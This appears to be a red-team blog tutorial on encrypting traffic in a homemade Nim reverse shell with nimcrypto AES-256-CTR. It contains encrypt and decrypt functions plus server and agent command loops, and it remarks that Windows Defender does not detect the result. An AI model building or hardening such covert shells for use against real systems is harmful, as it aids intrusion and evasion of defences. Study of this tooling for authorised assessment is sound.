Nim Encryption & Decryption
1. Overview
For any responsible red teamer, encryption needs to be apart of your workflow. Whether it is encrypting a session with potentially sensitive information going across the wire or encrypting your shellcode, encryption is constantly used on assessments.
And what better way to learn about the encrypting libraries of a programming language than to read the docs and incorporate into our basic reverse shell. Which is what we are doing today.
- encrypting the commands we send to our reverse shell
- decrypting the commands on the reverse shell
- encrypting the output results from the reverse shell before sending
- decrypting the results on the server before displaying
2. Nimcrypto Library
Using the Nimcrypto Library, I went with using a string instead of bytes since was a bit easier for me to understand initially. First, created the aesCrypto.nim file that included the encryptStr
and decryptStr
functions that my other programs can pull from, helping keep things clean and segmented. This functions then follow what was outlined in the Nimcrypto repos.
proc encryptStr*(data2encr, enckey, uniqueiv: string): string = var ectx: CTR[aes256] key = newString(aes256.sizeKey) iv = newString(aes256.sizeBlock) plainText = newString(len(data2encr)) encText = newString(len(data2encr)) copyMem(addr plainText[0], unsafeaddr data2encr[0], len(data2encr)) copyMem(addr key[0], unsafeaddr enckey[0], len(enckey)) copyMem(addr iv[0], unsafeaddr uniqueiv[0], len(uniqueiv)) ectx.init(key, iv) ectx.encrypt(plainText, encText) ectx.clear echo "ENCRYPTED TEXT: ", encText result = encText proc decryptStr*(data2decr, enckey, uniqueiv: string): string = var dctx: CTR[aes256] key = newString(aes256.sizeKey) iv = newString(aes256.sizeBlock) plainText = newString(len(data2decr)) encText = newString(len(data2decr)) copyMem(unsafeaddr encText[0], unsafeaddr data2decr[0], len(data2decr)) copyMem(unsafeaddr key[0], unsafeaddr enckey[0], len(enckey)) copyMem(unsafeaddr iv[0], unsafeaddr uniqueiv[0], len(uniqueiv)) dctx.init(key, iv) dctx.decrypt(encText, plainText) dctx.clear echo "DECRYPTED TEXT: ", plainText result = plainText
Once there were linked to the server.nim and only for testing purposes, hardcoded my passkey and passIV. I'm not sure yet how I would handle a symmetric password with a server/client model but considering pki. Then using the functions defined above put these are either side of the sending and receive commands. Again on the OpSec side of things, I'd like to dig more into terminal histories and if this get logged from a console app.
while true: stdout.write("> ") let command: string = stdin.readLine() let encCommand = encryptStr(command, passedKey, passedIV) client.send(encCommand & "\n") let response: string = client.recvLine() echo "Server: Agent's Response: ", response
Note the server doesn't currently decrypt on the response (because I'm not encrypting the response when sending from the client). This is fine for testing but will need to change in any sore of production reverse shell.
On the client side to decrypt the command.
while true: let encCommand: string = client.recvLine() let command = decryptStr(encCommand, passedKey, passedIV) if command == "": break stdout.writeLine("Agent: received command: ", command)
Overall this was a fun exercise in trying to secure the reverse shell a bit more. Also, windows defender doesn't detect this as malicious.